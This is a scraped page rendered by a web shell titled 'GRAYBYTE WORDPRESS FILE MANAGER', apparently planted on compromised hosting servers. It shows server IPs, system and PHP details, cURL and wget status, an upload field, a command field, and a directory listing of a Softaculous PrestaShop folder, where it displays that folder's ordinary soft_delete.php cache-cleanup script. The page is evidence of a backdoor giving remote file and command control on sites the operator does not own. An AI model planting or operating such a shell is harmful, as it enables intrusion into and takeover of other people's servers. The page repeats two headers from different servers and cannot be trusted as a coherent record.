GRAYBYTE WORDPRESS FILE MANAGER2696

Server IP : 192.250.235.76 / Your IP : 45.90.210.12
System : Linux s2968.sgp1.stableserver.net 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
PHP Version : 8.2.29
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/tawsifschoice/borkaa.tawsifschoice.com/
1902110114081995

GRAYBYTE WORDPRESS FILE MANAGER9588

Server IP : 198.54.116.172 / Your IP : 216.73.216.36
System : Linux server322.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : mail
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/var/softaculous/presta178/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /var/softaculous/presta178//soft_delete.php
<?php

//Remove var/cache directory recursively
rmdir_recursive_fn('[[softpath]]/app/cache/prod/');
rmdir_recursive_fn('[[softpath]]/var/cache/prod/');

function rmdir_recursive_fn($path){
		
	$path = (substr($path, -1) == '/' || substr($path, -1) == '\\' ? $path : $path.'/');
	
	resetfilelist();
	
	$files = filelist($path, 1, 0, 'all');
	$files = (!is_array($files) ? array() : $files);
	
	//First delete the files only
	foreach($files as $k => $v){
			@chmod($k, 0777);
		if(file_exists($k) && is_file($k) && @filetype($k) == "file"){
			@unlink($k);
		}
	}
	
	@clearstatcache();
	
	$folders = filelist($path, 1, 1, 'all');
	$folders = (!is_array($folders) ? array() : $folders);
	@krsort($folders);

	//Now Delete the FOLDERS
	foreach($folders as $k => $v){
			@chmod($k, 0777);
		if(is_dir($k)){
			@rmdir($k);
		}
	}
	
	@rmdir($path);
	
	@clearstatcache();

}

function resetfilelist(){
global $directorylist;
	$directorylist = array();
}

function filelist($startdir="./", $searchSubdirs=1, $directoriesonly=0, $maxlevel="all", $level=1, $reset = 1) {
   //list the directory/file names that you want to ignore
   $ignoredDirectory[] = ".";
   $ignoredDirectory[] = "..";
   $ignoredDirectory[] = "_vti_cnf";
   global $directorylist;    //initialize global array
   
   if(substr($startdir, -1) != '/'){
		$startdir = $startdir.'/';
	}
   
   if (is_dir($startdir)) {
       if ($dh = opendir($startdir)) {
           while (($file = readdir($dh)) !== false) {
               if (!(array_search($file,$ignoredDirectory) > -1)) {
                 if (@filetype($startdir . $file) == "dir") {
                     
					   //build your directory array however you choose;
                       //add other file details that you want.
					   
                       $directorylist[$startdir . $file]['level'] = $level;
                       $directorylist[$startdir . $file]['dir'] = 1;
                       $directorylist[$startdir . $file]['name'] = $file;
                       $directorylist[$startdir . $file]['path'] = $startdir;
                       if ($searchSubdirs) {
                           if ((($maxlevel) == "all") or ($maxlevel > $level)) {
                               filelist($startdir . $file . "/", $searchSubdirs, $directoriesonly, $maxlevel, ($level + 1), 0);
                           }
                       }
					  
					   
                   } else {
                       if (!$directoriesonly) {
					     
					  //  echo substr(strrchr($file, "."), 1);
                           //if you want to include files; build your file array 
                           //however you choose; add other file details that you want.
                         $directorylist[$startdir . $file]['level'] = $level;
                         $directorylist[$startdir . $file]['dir'] = 0;
                         $directorylist[$startdir . $file]['name'] = $file;
                         $directorylist[$startdir . $file]['path'] = $startdir;
						  
					 
     }}}}
           closedir($dh);
}}

if(!empty($reset)){
	$r = $directorylist;
	$directorylist = array();
	return($r);
}
}

@unlink('soft_delete.php');

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
January 11 2026 11:30:19
root / root
0755
images
--
September 12 2025 10:29:46
root / root
0755
php53
--
September 12 2025 10:29:46
root / root
0755
php56
--
September 12 2025 10:29:46
root / root
0755
php71
--
September 12 2025 10:29:46
root / root
0755
php81
--
September 12 2025 10:29:46
root / root
0755
php82
--
September 12 2025 10:29:46
root / root
0755
.htaccess
3.307 KB
March 23 2023 09:49:58
root / root
0644
_bootstrap.php
6.104 KB
March 23 2023 09:49:58
root / root
0644
bootstrap.php
6.026 KB
March 23 2023 09:49:58
root / root
0644
changelog.txt
6.525 KB
January 18 2024 12:34:48
root / root
0644
clone.php
20.824 KB
September 12 2025 09:58:22
root / root
0644
clone_bootstrap.php
6.152 KB
March 23 2023 09:49:58
root / root
0644
edit.php
4.407 KB
September 12 2025 09:58:22
root / root
0644
edit.xml
0.437 KB
April 24 2023 17:52:44
root / root
0644
fileindex.php
0.319 KB
March 23 2023 09:49:58
root / root
0644
import.php
5.805 KB
September 12 2025 09:58:22
root / root
0644
info.xml
4.175 KB
September 12 2025 09:53:30
root / root
0644
install.js
1.123 KB
March 23 2023 09:49:58
root / root
0644
install.php
19.217 KB
September 12 2025 09:58:22
root / root
0644
install.xml
1.463 KB
March 23 2023 09:49:58
root / root
0644
md5
1.655 KB
September 12 2025 09:58:22
root / root
0644
new_order.html
49.706 KB
March 23 2023 09:49:58
root / root
0644
notes.txt
1.652 KB
March 23 2023 09:49:58
root / root
0644
order_conf.html
50.154 KB
January 01 2024 07:38:44
root / root
0644
parameters.php
0.729 KB
March 23 2023 09:49:58
root / root
0644
parameters.yml
0.011 KB
March 23 2023 09:49:58
root / root
0644
return_slip.html
38.218 KB
March 23 2023 09:49:58
root / root
0644
robots.txt
3.363 KB
March 23 2023 09:49:58
root / root
0644
settings.inc.php
0.022 KB
March 23 2023 09:49:58
root / root
0644
shop1.json
2.713 KB
March 23 2023 09:49:58
root / root
0644
soft_delete.php
3.078 KB
March 23 2023 09:49:58
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF